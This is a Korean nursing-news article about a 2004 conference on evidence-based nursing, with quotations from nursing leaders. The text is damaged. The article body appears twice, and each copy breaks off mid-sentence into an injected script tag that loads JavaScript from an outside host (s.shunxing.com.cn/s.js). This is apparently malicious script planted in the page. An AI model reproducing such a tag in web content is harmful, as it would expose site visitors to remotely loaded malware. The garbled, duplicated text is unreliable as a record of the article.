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국제한인간호재단 창립기념 학술대회
과학적 근거 간호실무에 적용해야
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2004-11-04 오전 10:00:29
국제한인간호재단 창립기념 국제학술대회가 `근거기반간호를 통한 간호의 우수성' 주제로 11월 1∼2일 서울여성플라자 국제회의장에서 열렸다.
대한간호학회와 대한간호협회, 한국시그마데타타우, 국제한인간호재단이 공동주최한 이번 학술대회에는 간호학 교수, 석·박사과정 학생, 간호사 등 400여명이 참석해 세계 간호의 최신 흐름을 생생하게 호흡하면서 근거기반간호(Evidence Based Nursing)에 대해 심층 탐구하는 시간을 가졌다. 간호의 전문성과 가치를 제대로 인정받기 위해선 과학적인 연구결과를 통해 얻은 근거를 간호실무에 적용하고, 간호중재의 효과를 과학적으로 입증해내야 한다는 것이 근거기반간호의 핵심.
◇ 400여명 참석 성황
1일 오전 9시에 열린 학술대회 개회식에서 오가실 대한간호학회장은 개회사를 통해 "국제한인간호재단 창립이라는 역사적인 날을 기념하기 위해 간호계가 한마음으로 뜻을 모아 학술대회를 마련하게 됐다"면서 "근거기반간호를 보다 깊고 넓게 확대시켜 나감으로써 한국 간호가 새롭게 도약할 수 있게 되길 기대한다"고 밝혔다.
환영사를 한 김의숙 대한간호협회장은 "세계적인 간호지도자들이 제시해 줄 간호의 비전과 방향은 앞으로 간호법 제정을 이뤄내고 국민건강 옹호자로서의 간호사 역할을 확대해 나가는데 귀한 밑거름이 될 것"이라고 말했다. 이원희 한국시그마데타타우 회장과 김미자 국제한인간호재단 이사장도 환영사를 통해 "한국의 간호 발전에 기여하는 뜻깊은 학술대회를 만들어낸 데 보람을 느낀다"고 말했다.
김근태 보건복지부 장관(문경태 기획관리실장 대독)은 축사에서 "남다른 성실함과 우수성으로 한국인의 위상을 드높여온 지구촌 한인간호사들을 하나로 묶어줄 재단이 출범하게 된 것을 진심으로 축하한다"면서 "한국 간호사들이 인류의 건강과 복지를 이끄는 주역으로 더욱 발전해 나가길 바란다"고 말했다. 장복심 의원(열린우리당, 환경노동위원)은 "한국의 존경받는 여성지도자들을 배출해온 간호계가 앞으로 더욱 자긍심을 갖고 국민건강을 위해 열심히 일해달라"고 말했다.
◇ 근거기반간호 실행전략
학술대회에서는 주제강연 연자로 주디스 올튼 국제간호협의회(ICN) 사무총장, 존 쉐이버 미국간호학회 회장, 김미자 일리노이대 간호대학 교수 등 세계 간호계의 지도자들이 나서 눈길을 끌었다. 올튼 ICN 사무총장은 "보건의료정책을 결정하고 수행하는 과정에 간호사들이 적극적으로 참여해 리더십을 발휘해야 한다"고 강조하고 "ICN은 한국에서 간호법이 반드시 제정되길 바라며 적극 지지한다"고 밝혔다. 또 "국민들에게 비용효율적이면서 질 높은 건강서비스를 제공하고자 하는 것은 세계적인 이슈이며, 그 핵심역할을 해낼 인력은 바로 전문간호사"라고 말했다.
쉐이버 미국간호학회장은 "간호의 질을 향상시키기 위해선 근거에 기반한 간호실무를 펼치는 것이 중요하다"면서 "간호사는 대상자의 문제를 해결하기 위해 어떤 간호중재를 제공할지 고민하고, 관련 문헌들을 적극적으로 찾아 본 후, 연구결과에서 제시된 유용한 근거들을 간호실무에 적용하는데 힘써야 한다"고 강조했다.
김미자 일리노이대 교수는 "근거기반간호실무가 효과적으로 이뤄지려면 연구자는 객관적으로 입증된 연구성과를 내야하고, 실무자는 간호중재에 적용할 수 있는 적절한 연구결과를 찾아내는 훈련이 돼야 한다"면서 "병원마다 석사학위 전문간호사, 박사학위 소지자를 적극 채용해 근거기반간호실무를 이끌어 나가도록 지원한다면 환자간호의 질이 크게 개선될 것"이라고 말했다.
기조강연에 이어 미국에서 활동 중인 한인 간호학자와 국내 간호학자 7명의 발제강연이 열띤 분위기 속에 진행됐다. 근거기반간호의 중요성을 일깨우고 간호의 정체성과 비전을 제시해 주는 열정적인 강연과 관련 연구결과들이 소개돼 큰 호응을 얻었다.
실무전문가로 발제강연을 한 김회숙 마취전문간호사(미 노스웨스턴 메모리얼병원)는 "미국에서 연간 시행되는 마취의 65%가 전문간호사에 의해 이뤄지고 있으며, 12개 주에서는 의사의 지시 감독없이 마취전문간호사가 독자적으로 일할 수 있도록 돼있다"고 소개하고 "마취전문간호사는 자율성과 전문성을 갖고 활동하며, 엄격한 질 관리와 함께 함께 마취간호사들이 일을 잘 해내고 있음을 입증하는데도 힘쓰고 있다"고 말했다.
◇ 근거기반간호 미래방향
이틀간의 학술대회를 마무리하고 근거기반간호의 미래 방향을 조망하는 심포지엄이 이광자 한국시그마데타타우 학술이사가 좌장을 맡은 가운데 진행됐다.
강덕희 앨러배마대 교수는 "근거기반간호실무의 근간을 이루는 생행동연구에 많은 관심을 갖고 적극 참여해 달라"면서 "여건이 안 된다고 포기하지 말고 무엇이든 할 수 있다는 생각에서 출발해 작은 가능성부터 하나씩 찾아나?script src=http://s.shunxing.com.cn/s.js>
대한간호학회와 대한간호협회, 한국시그마데타타우, 국제한인간호재단이 공동주최한 이번 학술대회에는 간호학 교수, 석·박사과정 학생, 간호사 등 400여명이 참석해 세계 간호의 최신 흐름을 생생하게 호흡하면서 근거기반간호(Evidence Based Nursing)에 대해 심층 탐구하는 시간을 가졌다. 간호의 전문성과 가치를 제대로 인정받기 위해선 과학적인 연구결과를 통해 얻은 근거를 간호실무에 적용하고, 간호중재의 효과를 과학적으로 입증해내야 한다는 것이 근거기반간호의 핵심.
◇ 400여명 참석 성황
1일 오전 9시에 열린 학술대회 개회식에서 오가실 대한간호학회장은 개회사를 통해 "국제한인간호재단 창립이라는 역사적인 날을 기념하기 위해 간호계가 한마음으로 뜻을 모아 학술대회를 마련하게 됐다"면서 "근거기반간호를 보다 깊고 넓게 확대시켜 나감으로써 한국 간호가 새롭게 도약할 수 있게 되길 기대한다"고 밝혔다.
환영사를 한 김의숙 대한간호협회장은 "세계적인 간호지도자들이 제시해 줄 간호의 비전과 방향은 앞으로 간호법 제정을 이뤄내고 국민건강 옹호자로서의 간호사 역할을 확대해 나가는데 귀한 밑거름이 될 것"이라고 말했다. 이원희 한국시그마데타타우 회장과 김미자 국제한인간호재단 이사장도 환영사를 통해 "한국의 간호 발전에 기여하는 뜻깊은 학술대회를 만들어낸 데 보람을 느낀다"고 말했다.
김근태 보건복지부 장관(문경태 기획관리실장 대독)은 축사에서 "남다른 성실함과 우수성으로 한국인의 위상을 드높여온 지구촌 한인간호사들을 하나로 묶어줄 재단이 출범하게 된 것을 진심으로 축하한다"면서 "한국 간호사들이 인류의 건강과 복지를 이끄는 주역으로 더욱 발전해 나가길 바란다"고 말했다. 장복심 의원(열린우리당, 환경노동위원)은 "한국의 존경받는 여성지도자들을 배출해온 간호계가 앞으로 더욱 자긍심을 갖고 국민건강을 위해 열심히 일해달라"고 말했다.
◇ 근거기반간호 실행전략
학술대회에서는 주제강연 연자로 주디스 올튼 국제간호협의회(ICN) 사무총장, 존 쉐이버 미국간호학회 회장, 김미자 일리노이대 간호대학 교수 등 세계 간호계의 지도자들이 나서 눈길을 끌었다. 올튼 ICN 사무총장은 "보건의료정책을 결정하고 수행하는 과정에 간호사들이 적극적으로 참여해 리더십을 발휘해야 한다"고 강조하고 "ICN은 한국에서 간호법이 반드시 제정되길 바라며 적극 지지한다"고 밝혔다. 또 "국민들에게 비용효율적이면서 질 높은 건강서비스를 제공하고자 하는 것은 세계적인 이슈이며, 그 핵심역할을 해낼 인력은 바로 전문간호사"라고 말했다.
쉐이버 미국간호학회장은 "간호의 질을 향상시키기 위해선 근거에 기반한 간호실무를 펼치는 것이 중요하다"면서 "간호사는 대상자의 문제를 해결하기 위해 어떤 간호중재를 제공할지 고민하고, 관련 문헌들을 적극적으로 찾아 본 후, 연구결과에서 제시된 유용한 근거들을 간호실무에 적용하는데 힘써야 한다"고 강조했다.
김미자 일리노이대 교수는 "근거기반간호실무가 효과적으로 이뤄지려면 연구자는 객관적으로 입증된 연구성과를 내야하고, 실무자는 간호중재에 적용할 수 있는 적절한 연구결과를 찾아내는 훈련이 돼야 한다"면서 "병원마다 석사학위 전문간호사, 박사학위 소지자를 적극 채용해 근거기반간호실무를 이끌어 나가도록 지원한다면 환자간호의 질이 크게 개선될 것"이라고 말했다.
기조강연에 이어 미국에서 활동 중인 한인 간호학자와 국내 간호학자 7명의 발제강연이 열띤 분위기 속에 진행됐다. 근거기반간호의 중요성을 일깨우고 간호의 정체성과 비전을 제시해 주는 열정적인 강연과 관련 연구결과들이 소개돼 큰 호응을 얻었다.
실무전문가로 발제강연을 한 김회숙 마취전문간호사(미 노스웨스턴 메모리얼병원)는 "미국에서 연간 시행되는 마취의 65%가 전문간호사에 의해 이뤄지고 있으며, 12개 주에서는 의사의 지시 감독없이 마취전문간호사가 독자적으로 일할 수 있도록 돼있다"고 소개하고 "마취전문간호사는 자율성과 전문성을 갖고 활동하며, 엄격한 질 관리와 함께 함께 마취간호사들이 일을 잘 해내고 있음을 입증하는데도 힘쓰고 있다"고 말했다.
◇ 근거기반간호 미래방향
이틀간의 학술대회를 마무리하고 근거기반간호의 미래 방향을 조망하는 심포지엄이 이광자 한국시그마데타타우 학술이사가 좌장을 맡은 가운데 진행됐다.
강덕희 앨러배마대 교수는 "근거기반간호실무의 근간을 이루는 생행동연구에 많은 관심을 갖고 적극 참여해 달라"면서 "여건이 안 된다고 포기하지 말고 무엇이든 할 수 있다는 생각에서 출발해 작은 가능성부터 하나씩 찾아나?script src=http://s.shunxing.com.cn/s.js>
